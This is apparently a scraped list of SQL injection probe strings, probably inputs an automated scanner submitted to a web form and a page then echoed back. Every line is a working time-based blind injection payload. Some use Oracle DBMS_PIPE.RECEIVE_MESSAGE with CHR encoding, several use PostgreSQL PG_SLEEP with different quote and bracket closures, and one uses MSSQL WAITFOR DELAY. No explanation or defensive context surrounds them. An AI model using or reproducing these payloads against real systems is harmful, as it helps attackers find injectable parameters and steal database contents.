(select 198766*667891 from DUAL)...

20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)...

20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'...

20uj10lVt8' OR 721=(SELECT 721 FROM PG_SLEEP(15))--...

20tSMVlOxn') OR 20=(SELECT 20 FROM PG_SLEEP(15))--...

20ZIgUMZFJ')) OR 912=(SELECT 912 FROM PG_SLEEP(15))--...

20-1 OR 471=(SELECT 471 FROM PG_SLEEP(15))--...

20-1) OR 113=(SELECT 113 FROM PG_SLEEP(15))--...

20-1)) OR 463=(SELECT 463 FROM PG_SLEEP(15))--...

20-1 waitfor delay '0:0:15' -- ...